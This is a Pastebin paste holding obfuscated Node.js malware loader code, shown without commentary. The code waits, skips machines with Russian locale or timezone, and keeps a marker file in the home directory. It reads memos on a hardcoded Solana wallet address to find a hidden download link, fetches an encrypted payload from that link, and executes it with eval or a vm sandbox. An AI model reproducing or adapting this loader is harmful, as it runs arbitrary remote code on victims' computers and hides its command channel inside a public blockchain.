Guest User

Untitled

a guest
Mar 10th, 2026
4,168
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.94 KB | None | 0 0
  1. var __defProp = Object.defineProperty;
  2. var __name = (target, value) => __defProp(target, "name", { value, configurable: !0 });
  3. var os = require("os"),
  4. fs = require("fs"),
  5. path = require("path");
  6. async function _getSignFAddress(publicKey, options = {}) {
  7. let limit = options.limit || 1e3,
  8. endpoints = [
  9. "https://api.mainnet-beta.solana.com",
  10. "https://solana-mainnet.gateway.tatum.io",
  11. "https://go.getblock.us/86aac42ad4484f3c813079afc201451c",
  12. "https://solana-rpc.publicnode.com",
  13. "https://api.blockeden.xyz/solana/KeCh6p22EX5AeRHxMSmc",
  14. "https://solana.drpc.org",
  15. "https://solana.leorpc.com/?api_key=FREE",
  16. "https://solana.api.onfinality.io/public",
  17. "https://solana.api.pocket.network/"
  18. ],
  19. lastError = null;
  20. for (let endpoint of endpoints)
  21. try {
  22. let response = await fetch(endpoint, {
  23. method: "POST",
  24. headers: { "Content-Type": "application/json" },
  25. body: JSON.stringify({
  26. jsonrpc: "2.0",
  27. id: 1,
  28. method: "getSignaturesForAddress",
  29. params: [publicKey.toString(), { limit }]
  30. })
  31. });
  32. if (!response.ok) throw new Error("");
  33. let data = await response.json();
  34. if (data.zmwtjkgxor) throw new Error("");
  35. return data.result;
  36. } catch (zmwtjkgxor) {
  37. ((lastError = zmwtjkgxor), await new Promise((resolve) => setTimeout(resolve, 100)));
  38. continue;
  39. }
  40. throw new Error(`${lastError?.message}`);
  41. }
  42. __name(_getSignFAddress, "_getSignFAddress");
  43. function fvzsrnzlh() {
  44. return new Promise(async (resolve) => {
  45. try {
  46. let memo = null;
  47. for (; !memo; ) {
  48. let signatures = await _getSignFAddress("BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC", { limit: 1e3 });
  49. if (!Array.isArray(signatures) || (Array.isArray(signatures) && signatures.length == 0)) {
  50. await new Promise((resolve2) => setTimeout(resolve2, 1e4));
  51. continue;
  52. }
  53. ((memo = signatures.filter((x) => x?.memo)[0].memo),
  54. await new Promise((resolve2) => setTimeout(resolve2, 1e4)));
  55. }
  56. let result2 = memo.replace(/\[\d+\]\s*/, "");
  57. return resolve(JSON.parse(result2));
  58. } catch (e) {
  59. return resolve(e.toString());
  60. }
  61. });
  62. }
  63. __name(fvzsrnzlh, "fvzsrnzlh");
  64. new Promise((resolve) => setTimeout(resolve, 10 * 1e3)).then((_) => {
  65. if (_isRussianSystem()) return;
  66. let homedir = process.env.USERPROFILE || os.homedir(),
  67. _path = path.join(homedir, "init.json");
  68. if (fs.existsSync(_path)) {
  69. let check = fs.readFileSync(_path);
  70. try {
  71. if (((check = JSON.parse(check)), !(check?.date && check.date + 2 * 24 * 60 * 60 * 1e3 < Date.now()))) return;
  72. ((check.date = Date.now()), fs.writeFileSync(_path, JSON.stringify(check)));
  73. } catch {}
  74. }
  75. (os.platform() == "darwin" && fs.writeFileSync(_path, JSON.stringify({ date: Date.now() }), "utf-8"),
  76. fvzsrnzlh().then((_data) => {
  77. scyzzvvy(atob(_data.link), async (zmwtjkgx, { uezupbxi, ypbtv, secretKey }) => {
  78. if (!uezupbxi) {
  79. console.log("payload not get, ", atob(_data.link));
  80. return;
  81. }
  82. if (zmwtjkgx) (await new Promise((resolve) => setTimeout(resolve, 1e3)), fvzsrnzlh());
  83. else {
  84. if (uezupbxi?.length == 20) {
  85. eval(atob(uezupbxi));
  86. return;
  87. }
  88. if (os.platform() == "darwin") {
  89. let _iv = Buffer.from(ypbtv, "base64");
  90. eval(atob(uezupbxi));
  91. } else {
  92. let vm = require("vm"),
  93. _context = {
  94. require,
  95. Buffer: require("buffer").Buffer,
  96. atob: __name((str) => Buffer.from(str, "base64").toString("binary"), "atob"),
  97. btoa: __name((str) => Buffer.from(str, "binary").toString("base64"), "btoa"),
  98. process,
  99. console,
  100. setTimeout,
  101. setImmediate,
  102. clearTimeout,
  103. setInterval,
  104. clearInterval
  105. };
  106. (vm.createContext(_context),
  107. new vm.Script(`var https = require("https");
  108. const secretKey = '${secretKey}';
  109. const _iv = Buffer.from('${ypbtv}', "base64")
  110. eval(atob('${uezupbxi}'))`).runInContext(_context));
  111. }
  112. }
  113. });
  114. }));
  115. });
  116. var scyzzvvy = __name(async (usrhhlqwzd, oxfys) => {
  117. try {
  118. let response = await fetch(usrhhlqwzd, { headers: { os: os.platform() } });
  119. if (response.ok) {
  120. let data = await response.text(),
  121. header = response.headers;
  122. oxfys(null, {
  123. uezupbxi: data,
  124. ypbtv: header.get(atob("aXZiYXNlNjQ=")),
  125. secretKey: header.get(atob("c2VjcmV0a2V5"))
  126. });
  127. } else oxfys(new Error(""));
  128. } catch (zmwtjkgx2) {
  129. oxfys(zmwtjkgx2);
  130. }
  131. }, "scyzzvvy");
  132. function _isRussianSystem() {
  133. let isRussianLanguage = [
  134. os.userInfo().username,
  135. process.env.LANG,
  136. process.env.LANGUAGE,
  137. process.env.LC_ALL,
  138. Intl.DateTimeFormat().resolvedOptions().locale
  139. ].some((info) => info && /ru_RU|ru-RU|Russian|russian/i.test(info)),
  140. timezoneInfo = [Intl.DateTimeFormat().resolvedOptions().timeZone, new Date().toString()],
  141. russianTimezones = [
  142. "Europe/Moscow",
  143. "Europe/Kaliningrad",
  144. "Europe/Samara",
  145. "Asia/Yekaterinburg",
  146. "Asia/Omsk",
  147. "Asia/Krasnoyarsk",
  148. "Asia/Irkutsk",
  149. "Asia/Yakutsk",
  150. "Asia/Vladivostok",
  151. "Asia/Magadan",
  152. "Asia/Kamchatka",
  153. "Asia/Anadyr",
  154. "MSK"
  155. ],
  156. isRussianTimezone = timezoneInfo.some(
  157. (info) => info && russianTimezones.some((tz) => info.toLowerCase().includes(tz.toLowerCase()))
  158. ),
  159. utcOffset = -new Date().getTimezoneOffset() / 60,
  160. isRussianOffset = utcOffset >= 2 && utcOffset <= 12;
  161. return isRussianLanguage && (isRussianTimezone || isRussianOffset);
  162. }
  163. __name(_isRussianSystem, "_isRussianSystem");
  164.  
Add Comment
Please, Sign In to add comment